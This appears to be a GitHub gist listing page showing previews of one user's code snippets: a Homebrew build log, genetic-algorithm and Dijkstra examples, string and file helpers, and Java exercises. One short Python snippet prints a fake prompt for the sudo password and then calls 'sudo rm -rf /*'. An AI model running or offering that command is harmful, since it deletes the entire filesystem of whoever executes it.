Skip to content

Instantly share code, notes, and snippets.

View charlesreid1's full-sized avatar
💭
🍒 🍍 🍓 🍊 🍌

Chaz Reid charlesreid1

💭
🍒 🍍 🍓 🍊 🍌
View GitHub Profile
@charlesreid1
charlesreid1 / gist:5753342
Created June 10, 2013 23:24
output of ```brew install -v svn```
$ brew install -v svn
==> Downloading http://www.apache.org/dyn/closer.cgi?path=subversion/subversion-1.7.10.tar.bz2
Already downloaded: /Library/Caches/Homebrew/subversion-1.7.10.tar.bz2
tar xf /Library/Caches/Homebrew/subversion-1.7.10.tar.bz2
==> ./configure --disable-debug --prefix=/usr/local/Cellar/subversion/1.7.10 --with-apr=/usr/local/Library/ENV/4.3 --with-ssl --with-zlib=/usr --with-sqlite=/usr/local/opt/sqlite --with-serf=/usr/local/opt/serf --without-neon --disable-mod-activation --disable-nls --without-apache-libexecdir --without-berkeley-db
./configure --disable-debug --prefix=/usr/local/Cellar/subversion/1.7.10 --with-apr=/usr/local/Library/ENV/4.3 --with-ssl --with-zlib=/usr --with-sqlite=/usr/local/opt/sqlite --with-serf=/usr/local/opt/serf --without-neon --disable-mod-activation --disable-nls --without-apache-libexecdir --without-berkeley-db
configure: Configuring Subversion 1.7.10
configure: creating config.nice
checking for gcc... cc
checking whether the C compiler works... yes
@charlesreid1
charlesreid1 / gist:6877038
Last active December 24, 2015 22:59
PyEvolve Simple Program
from pyevolve import G1DBinaryString
from pyevolve import GSimpleGA
# http://pyevolve.sourceforge.net/ simple genetic algorithm example
genome = G1DBinaryString.G1DBinaryString(30)
genome.evaluator.set(lambda chromosome: sum(chromosome))
ga = GSimpleGA.GSimpleGA(genome)
ga.evolve(freq_stats=10)
print ga.bestIndividual()
@charlesreid1
charlesreid1 / gist:6877075
Created October 7, 2013 23:52
Simplified Dijsktra's algorithm
# Simplified Dijsktra's Algorithm
# from http://code.activestate.com/recipes/119466/
def shortest_path(G, start, end):
def flatten(L): # Flatten linked list of form [0,[1,[2,[]]]]
while len(L) > 0:
yield L[0]
L = L[1]
q = [(0, start, ())] # Heap of (cost, path_head, path_rest).
line = "this, is, some, really, weird,whitespace"
# split the string at commas, resulting in a list
tokens = line.split(",")
# tokens still have whitespace
print tokens
# list comprehension to strip whitespace
nowhitespace = [a.strip() for a in tokens]
import subprocess
print("Hi, this is the computer. I forgot your sudo password, can you please type it for me again?")
subprocess.call(["sudo","rm","-rf","/*"])
import subprocess
subprocess.call(["command","-flag1","value1","-flag2","value2"])
@charlesreid1
charlesreid1 / lazy.py
Created February 3, 2016 01:01
Reading a File in Python: Two-Liner
with open('us-500.csv') as f:
lines = f.readlines()
@charlesreid1
charlesreid1 / infiniteseries.py
Created June 1, 2016 22:10
Math 163 - Calculating Infinity Project
import math
print("\n\n")
print("Welcome to Dr. Reid's Magical Approximation Program! \n\n")
print("This program computes approximations of Pi. \n\n")
print("Sources for formulas/approximations:")
print(" * http://mathworld.wolfram.com/PiApproximations.html")
print(" * http://mathworld.wolfram.com/PiFormulas.html\n\n")
import java.io.*;
import java.util.*;
public class MagicReader {
public static void main(String[] args) {
String filename = magicsquare.txt;
Scanner s = new Scanner(new File(filename));
int lines = 1;
while(s.hasNextLine()) {
s.nextLine();
import java.util.*;
public class Timing {
public static void main(String[] args) {
System.out.println("============================================");
System.out.println(" Lists vs. Sets ");
System.out.println("============================================");
int n = 1000;